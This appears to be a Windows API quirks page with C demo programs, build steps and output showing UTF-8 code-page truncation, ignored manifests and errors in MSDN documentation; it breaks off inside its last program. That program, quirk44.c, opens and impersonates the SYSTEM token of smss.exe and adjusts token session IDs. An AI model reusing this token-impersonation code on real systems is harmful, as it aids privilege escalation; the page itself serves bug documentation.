Microsoft Windows [Version 10.0.22621.1105] GetTempFileNameA() returned error 234 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùú' CreateDirectoryA() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 694 characters FindFirstFileA() returned error 234 for pathname '€\€‚*' RemoveDirectoryA() returned error 145 for pathname '€\.' RemoveDirectoryA() returned error 32 for pathname '€\..' FindNextFileA() returned pathname '€\€' of 7 characters in 3 code points FindNextFileA() returned error 234 RemoveDirectoryA() returned error 145 for pathname '€' 0x91 (WIN32: 145 ERROR_DIR_NOT_EMPTY) -- 145 (145) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OOPS: on Windows 10 1903 and later versions, using the code page 65001 alias
CP_UTF8
, at
least the
CreateDirectoryA()
function is not limited to MAX_PATH
(minus some) characters any more, but supports MAX_PATH
(minus some) code points, i.e. about
MAX_PATH
× 3 = 780 characters!
OUCH¹: the
GetTempFileNameA()
function fails with Win32 error code 234 alias
ERROR_MORE_DATA
for a path name of 125 code points, truncating it to 120 code points
in the output buffer!
OUCH²: as before, the
FindFirstFile()
function fails with Win32 error code 234 alias
ERROR_MORE_DATA
due to the 260 character limit imposed by the
WIN32_FIND_DATAA
data structure!
OUCH³: as before, the
FindNextFile()
function fails with Win32 error code 234 alias
ERROR_MORE_DATA
due to the 260 character limit imposed by the
WIN32_FIND_DATAA
data structure, after enumerating only 1 of 229 subdirectory names!
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
from code page 1253 or non-ASCII characters from other
(legacy) Code Pages is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
GetClassNameA()
,
GetWindowTextA()
,
GetWindowTextLengthA()
and
RealGetWindowClassA()
are documented in the
MSDN as
follows:
Retrieves the name of the class to which the specified window belongs.[…]int GetClassNameA( HWND hWnd, LPSTR lpClassName, int nMaxCount );
hWnd
A handle to the window and, indirectly, the class to which the window belongs.
lpClassName
The class name string.
nMaxCount
The length of the lpClassName buffer, in characters. The buffer must be large enough to include the terminating null character; otherwise, the class name string is truncated to
nMaxCount-1
characters.[…]
If the function succeeds, the return value is the number of characters copied to the buffer, not including the terminating null character.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
Copies the text of the specified window's title bar (if it has one) into a buffer. […][…]int GetWindowTextA( HWND hWnd, LPSTR lpString, int nMaxCount );
hWnd
A handle to the window or control containing the text.
lpString
The buffer that will receive the text. If the string is as long or longer than the buffer, the string is truncated and terminated with a null character.
nMaxCount
The maximum number of characters to copy to the buffer, including the null character. If the text exceeds this limit, it is truncated.
[…]
If the function succeeds, the return value is the length, in characters, of the copied string, not including the terminating null character. If the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid, the return value is zero. To get extended error information, call GetLastError.
Retrieves the length, in characters, of the specified window's title bar text (if the window has a title bar). […][…]int GetWindowTextLengthA( HWND hWnd );
hWnd
A handle to the window or control.
[…]
If the function succeeds, the return value is the length, in characters, of the text. […]
If the window has no text, the return value is zero.
Retrieves a string that specifies the window type.[…]UINT RealGetWindowClassW( HWND hwnd, LPWSTR ptszClassName, UINT cchClassNameMax );
hwnd
A handle to the window whose type will be retrieved.
ptszClassName
A pointer to a string that receives the window type.
cchClassNameMax
The length, in characters, of the buffer pointed to by the pszType parameter.
[…]
If the function succeeds, the return value is the number of characters copied to the specified buffer.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
GetClassNameA()
function with code page 65001 alias CP_UTF8
.
Create the text file quirk41.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CLASS L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
#define TITLE L"€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›"
LRESULT WINAPI WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
{
if (uMessage == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProcA(hWindow, uMessage, wParam, lParam);
}
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WNDCLASSEXA wce = {sizeof(wce),
CS_DBLCLKS,
WindowProc,
0, 0,
(HINSTANCE) &__ImageBase,
(HICON) NULL,
(HCURSOR) NULL,
(HBRUSH) COLOR_BACKGROUND,
(LPCSTR) NULL,
(LPCSTR) NULL,
(HICON) NULL};
ATOM atom;
MSG msg;
HWND hWindow;
DWORD dwError;
UINT uiClass;
CHAR szClass[256 * 3];
UINT uiTitle;
CHAR szTitle[256 * 3];
UINT uiQuirk;
CHAR szQuirk[256 * 3];
BOOL bResult;
LRESULT lResult;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
uiClass = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CLASS, sizeof(CLASS) / sizeof(*CLASS),
szClass, sizeof(szClass),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiClass == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for class name \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), CLASS, wcslen(CLASS));
else
{
uiTitle = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
TITLE, sizeof(TITLE) / sizeof(*TITLE),
szTitle, sizeof(szTitle),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiTitle == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for window title \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), TITLE, wcslen(TITLE));
else
{
wce.lpszClassName = szClass;
atom = RegisterClassExA(&wce);
if (atom == 0)
PrintConsole(hConsole,
L"RegisterClassExA() returned error %lu\n",
dwError = GetLastError());
else
{
hWindow = CreateWindowExA(WS_EX_APPWINDOW,
szClass,
szTitle,
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
(HWND) NULL,
(HMENU) NULL,
(HINSTANCE) &__ImageBase,
NULL);
if (hWindow == NULL)
PrintConsole(hConsole,
L"CreateWindowExA() returned error %lu\n",
dwError = GetLastError());
else
{
uiQuirk = GetWindowTextLengthA(hWindow);
if (uiQuirk == 0)
PrintConsole(hConsole,
L"GetWindowTextLengthA() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowTextLengthA() returned %u\n",
uiQuirk);
uiQuirk = GetWindowTextA(hWindow, szQuirk, sizeof(szQuirk));
if (uiQuirk == 0)
PrintConsole(hConsole,
L"GetWindowTextA() returned error %lu\n",
dwError = GetLastError());
else
if (memcmp(szQuirk, szTitle, uiTitle) != 0)
PrintConsole(hConsole,
L"GetWindowTextA() returned DIFFERENT window title \'%hs\' of %u characters\n",
szQuirk, uiQuirk);
uiQuirk = GetClassNameA(hWindow, szQuirk, sizeof(szQuirk));
if (uiQuirk == 0)
PrintConsole(hConsole,
L"GetClassNameA() returned error %lu\n",
dwError = GetLastError());
else
if (memcmp(szQuirk, szClass, uiClass) != 0)
PrintConsole(hConsole,
L"GetClassNameA() returned DIFFERENT class name \'%hs\' of %u characters\n",
szQuirk, uiQuirk);
uiQuirk = RealGetWindowClassA(hWindow, szQuirk, sizeof(szQuirk));
if (uiQuirk == 0)
PrintConsole(hConsole,
L"RealGetWindowClassA() returned error %lu\n",
dwError = GetLastError());
else
if (memcmp(szQuirk, szClass, uiClass) != 0)
PrintConsole(hConsole,
L"RealGetWindowClassA() returned DIFFERENT class name \'%hs\' of %u characters\n",
szQuirk, uiQuirk);
while ((bResult = GetMessageA(&msg, (HWND) NULL, 0, 0)) > 0)
{
if (TranslateMessage(&msg))
;
lResult = DispatchMessageA(&msg);
}
dwError = bResult < 0 ? GetLastError() : msg.wParam;
}
if (!UnregisterClassA(szClass, (HINSTANCE) &__ImageBase))
PrintConsole(hConsole,
L"UnregisterClassA() returned error %lu\n",
dwError = GetLastError());
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Note: the strings CLASS
and
TITLE
contain 123 respectively
15 × 17 = 255 (wide) characters,
equivalent to 123 and 255
ANSI
characters in 123 and 255 bytes or 123 and 255
Unicode
code points in
123 × 2 + 17 = 263 and
255 × 3 = 765
UTF-8
code units alias bytes.
Build the console application quirk41.exe
from the
source file quirk41.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk41.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk41.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk41.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk41.exe quirk41.obj kernel32.lib user32.lib
Execute the console application quirk41.exe
built in
step 2. to show the behaviour with the legacy
code page,
then close its window:
VER .\quirk41.exe
Microsoft Windows [Version 10.0.22621.1105] GetWindowTextLengthA() returned 255
Create the text file quirk41.xml
with the following
content next to the console application quirk41.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk41' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk41 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk41.xml
created in step 4. in the console
application quirk41.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk41.xml /OUTPUTRESOURCE:quirk41.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk41.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour
bug, then close its window:
VER .\quirk41.exe
Microsoft Windows [Version 10.0.22621.1105]
GetWindowTextLengthA() returned 765
GetClassNameA() returned DIFFERENT class name '€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö' of 245 characters
OUCH: the Win32 function
GetClassNameA()
returns a truncated string of only 114 code points
in 245 code units instead of 123 code points in 263 code units!
application manifestWindows exhibits braindead (mis)behaviour!
Create the text file quirk42.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
PrintConsole(hConsole,
L"GetACP() returned %u\n"
L"GetConsoleCP() returned %u\n"
L"GetConsoleOutputCP() returned %u\n"
L"GetOEMCP() returned %u\n",
GetACP(), GetConsoleCP(), GetConsoleOutputCP(), GetOEMCP());
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk42.exe
from the
source file quirk42.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk42.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk42.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk42.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk42.exe quirk42.obj kernel32.lib user32.lib
Create an empty external
application manifest
quirk42.exe.manifest
next
to the console application quirk42.exe
built in
step 2. and execute quirk42.exe
a first time:
COPY NUL: quirk42.exe.manifest .\quirk42.exe
1 file(s) copied. The system cannot execute the specified program.Note: the empty external
application manifest
quirk42.exe.manifest
shows
the expected and intended effect – it lets the console
application quirk42.exe
fail to load!
Remove the empty external application manifest
quirk42.exe.manifest
and execute the console
application quirk42.exe
a second time:
ERASE quirk42.exe.manifest .\quirk42.exe
GetACP() returned 1252 GetConsoleCP() returned 858 GetConsoleOutputCP() returned 858 GetOEMCP() returned 850OOPS: without (external)
application manifest, the console application
quirk42.exe
uses the legacyCode Page 858 alias
OEM Multilingual Latin 1 + Euro Symbol, which encodes
€
as code point
0xD5 = 213, not the system’s global
OEM
code page 850 alias Multilingual (Latin I)or
OEM Multilingual Latin 1; Western European (DOS), which encodes
ı
as code point
0xD5 = 213!
Create the external application manifest
quirk42.exe.manifest
with the following content:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk42' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk42 Console Application</description>
</assembly>
Execute the console application quirk42.exe
a third
time:
.\quirk42.exe
GetACP() returned 1252 GetConsoleCP() returned 858 GetConsoleOutputCP() returned 858 GetOEMCP() returned 850OUCH¹: the external
application manifest
quirk42.exe.manifest
shows
no effect, it is but ignored!
Rename the console application quirk42.exe
and its
external application manifest
quirk42.exe.manifest
to quirk42.com
and
quirk42.com.manifest
respectively, then execute the
console application quirk42.com
a fourth time:
RENAME quirk42.exe quirk42.com RENAME quirk42.exe.manifest quirk42.com.manifest .\quirk42.com
GetACP() returned 65001 GetConsoleCP() returned 65001 GetConsoleOutputCP() returned 65001 GetOEMCP() returned 65001Note: the external
application manifest
quirk42.com.manifest
shows the expected and intended
effect now – the console application quirk42.com
uses the code page 65001 alias CP_UTF8
!
Overwrite the external application manifest
quirk42.com.manifest
with an empty file and execute the
console application quirk42.com
a fifth time:
COPY /Y NUL: quirk42.com.manifest .\quirk42.com
1 file(s) copied. GetACP() returned 65001 GetConsoleCP() returned 65001 GetConsoleOutputCP() returned 65001 GetOEMCP() returned 65001OUCH²: the (empty) external
application manifestshows no effect any more, it is but ignored!
Remove the empty external application manifest
quirk42.com.manifest
and execute the
application quirk42.com
a last time:
ERASE quirk42.com.manifest .\quirk42.com
GetACP() returned 65001 GetConsoleCP() returned 65001 GetConsoleOutputCP() returned 65001 GetOEMCP() returned 65001OUCH³: the absence of an external
application manifesttoo shows no effect!
AreFileApisANSI()
,
GetACP()
,
GetOEMCP()
,
SetFileApisToANSI()
and
SetFileApisToOEM()
are documented in the
MSDN as
follows:
Determines whether the file I/O functions are using the ANSI or OEM character set code page. This function is useful for 8-bit console input and output operations.[…]
The file I/O functions whose code page is ascertained by AreFileApisANSI are those functions exported by KERNEL32.DLL that accept or return a file name.
Retrieves the current Windows ANSI code page identifier for the operating system.
Returns the current original equipment manufacturer (OEM) code page identifier for the operating system.
Causes the file I/O functions to use the ANSI character set code page for the current process. This function is useful for 8-bit console input and output operations.Ouch¹: the highlighted statement is but wrong![…]
The file I/O functions whose code page is set by SetFileApisToANSI are those functions exported by KERNEL32.DLL that accept or return a file name.
[…]
The 8-bit console functions use the OEM code code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.
Causes the file I/O functions for the process to use the OEM character set code page. This function is useful for 8-bit console input and output operations.Ouch²: the highlighted statement is but wrong![…]
The file I/O functions whose code page is set by SetFileApisToOEM are those functions exported by KERNEL32.DLL that accept or return a file name.
[…]
The 8-bit console functions use the OEM code code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.
The MSDN article Console Application Issues states:
The 8-bit console functions use the OEM code page.OUCH³: despite its third repetition the first highlighted statement is but still wrong – contrary to the[…]
The console will accept UTF-16 encoding on the W variant of the APIs or UTF-8 encoding on the A variant of the APIs after using SetConsoleCP and SetConsoleOutputCP to
65001
(CP_UTF8
constant) for the UTF-8 code page.Barring that solution, a console application should use the SetFileApisToOEM function. That function changes relevant file functions so that they produce OEM character set strings rather than ANSI character set strings.
relevant file functionswhich use the operating system’s (static) OEM code page when switched via the
SetFileApisToOEM()
function, the 8-bit console input functions use an arbitrary code
page which can be queried by the
GetConsoleCP()
function and set by the
SetConsoleCP()
function, whereas the 8-bit console output functions use another
arbitrary code page which can be queried by the
GetConsoleOutputCP()
function and set by the
SetConsoleOutputCP()
function!
Note: the console commands
Chcp
and
Mode
query the console input code page, but always set both the console
input and output code pages.
OUCH⁴: contrary to the last highlighted
statement, a console application which uses 8-bit console input and
output functions together with 8-bit file input and
output functions needs to call the
AreFileApisANSI()
function, then depending on its result the
SetConsoleCP()
and
SetConsoleOutputCP()
functions with the
Code Page Identifier
returned from either the
GetACP()
or the
GetOEMCP()
function!
Note: that the
Code Page Identifier
returned from the
GetOEMCP()
function can differ from those returned from the
GetConsoleCP()
and
GetConsoleOutputCP()
functions has already been shown in the previous section
Quirk № 42!
Create the
ANSI
text file
quirk43.txt
containing the extended characters of
Code Page 1252
in an arbitrary, preferable empty directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the trailing
CR/LF
pair the file quirk43.txt
contains 125 single-byte
characters.
Display the file quirk43.txt
using the internal
Type
command:
TYPE quirk43.txt
ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´±‗¾¶§÷¸°¨·¹³²■Oops: the file’s content is rendered like
mojibake
!
Set the console’s (input and output) code page to 1252 and repeat the previous step 2:
CHCP.COM 1252 TYPE quirk43.txt
Active code page: 1252. €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
CreateProcessAsUser()
function states:
Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.The documentation for the LogonUser function states too:Typically, the process that calls the CreateProcessAsUser function must have the SE_INCREASE_QUOTA_NAME privilege and may require the SE_ASSIGNPRIMARYTOKEN_NAME privilege if the token is not assignable.
[…]
To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.
[…]
By default, CreateProcessAsUser creates the new process on a noninteractive window station with a desktop that is not visible and cannot receive user input. To enable user interaction with the new process, you must specify the name of the default interactive window station and desktop, "winsta0\default", in the lpDesktop member of the STARTUPINFO structure.
In most cases, the returned handle is a primary token that you can use in calls to the CreateProcessAsUser function. However, if you specify the LOGON32_LOGON_NETWORK flag, LogonUser returns an impersonation token that you cannot use in CreateProcessAsUser unless you call DuplicateTokenEx to convert it to a primary token.The documentation for the
TOKEN_INFORMATION_CLASS
enumeration states:
If TokenSessionId is set with SetTokenInformation, the application must have the Act As Part Of the Operating System privilege, and the application must be enabled to set the session ID in a token.The MSDN article Access Rights for Access-Token Objects states:
The following are valid access rights for access-token objects:Unfortunately all highlighted parts are but wrong! Client Logon Sessions Client Impersonation Impersonation Levels Impersonation Tokens Processes and Threads About Processes and Threads Using Processes and Threads Process Security and Access Rights Thread Security and Access Rights Process Handles and Identifiers Thread Handles and Identifiers Child Processes Multiple Threads[…]
The specific access rights for access tokens, which are listed in the following table.
Value Meaning … … TOKEN_ADJUST_SESSIONID Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required.
Create the text file quirk44.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE 3 // "SeAssignPrimaryTokenPrivilege"
const TOKEN_PRIVILEGES tpToken = {1, {SE_ASSIGNPRIMARYTOKEN_PRIVILEGE, 0, SE_PRIVILEGE_ENABLED}};
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESSENTRY32 pe /* = {sizeof(pe)} */;
PROCESS_INFORMATION pi;
DWORD dwError;
#ifdef QUIRKS
DWORD dwSessionId;
#endif
DWORD dwProcessId = 0;
HANDLE hSnapshot;
HANDLE hToken;
HANDLE hThread = GetCurrentThread();
HANDLE hProcess = GetCurrentProcess();
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateToolhelp32Snapshot() returned error %lu\n",
dwError = GetLastError());
else
{
pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe))
PrintConsole(hConsole,
L"Process32First() returned error %lu\n",
dwError = GetLastError());
else
{
do
if ((pe.th32ParentProcessID == 4)
#if 0
&& (wmemcmp(pe.szExeFile, L"smss.exe", sizeof("smss.exe")) == 0))
#else
&& (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
#endif
dwProcessId = pe.th32ProcessID;
while (Process32Next(hSnapshot, &pe));
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
PrintConsole(hConsole,
L"Process32Next() returned error %lu\n",
dwError);
}
if (!CloseHandle(hSnapshot))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (dwProcessId == 0)
{
PrintConsole(hConsole,
L"Process \'SMSS.exe\' not found!\n");
dwError = ERROR_NOT_FOUND;
}
else
{
if (!OpenProcessToken(hProcess,
TOKEN_QUERY,
&hToken))
PrintConsole(hConsole,
L"OpenProcessToken() returned error %lu\n",
dwError = GetLastError());
else
{
#ifdef QUIRKS
if (!GetTokenInformation(hToken,
TokenSessionId,
&dwSessionId,
sizeof(dwSessionId),
&dwError))
PrintConsole(hConsole,
L"GetTokenInformation() returned error %lu\n",
GetLastError());
#endif
if (!CloseHandle(hToken))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
dwProcessId);
if (hProcess == NULL)
PrintConsole(hConsole,
L"OpenProcess() returned error %lu\n",
dwError = GetLastError());
else
{
if (!OpenProcessToken(hProcess,
TOKEN_DUPLICATE | TOKEN_QUERY,
&hToken))
PrintConsole(hConsole,
L"OpenProcessToken() returned error %lu\n",
dwError = GetLastError());
else
{
if (!ImpersonateLoggedOnUser(hToken))
PrintConsole(hConsole,
L"ImpersonateLoggedOnUser() returned error %lu\n",
dwError = GetLastError());
else
{
if (!CloseHandle(hToken))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
if (!OpenThreadToken(hThread,
#if QUIRKS == 0 // SetTokenInformation() for TokenSessionId fails with
// ERROR_ACCESS_DENIED despite TOKEN_ADJUST_SESSIONID!
TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
#else
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
#endif
FALSE,
&hToken))
PrintConsole(hConsole,
L"OpenThreadToken() returned error %lu\n",
dwError = GetLastError());
else
{
if (!SetTokenInformation(hToken,
TokenSessionId,
&dwSessionId,
sizeof(dwSessionId)))
PrintConsole(hConsole,
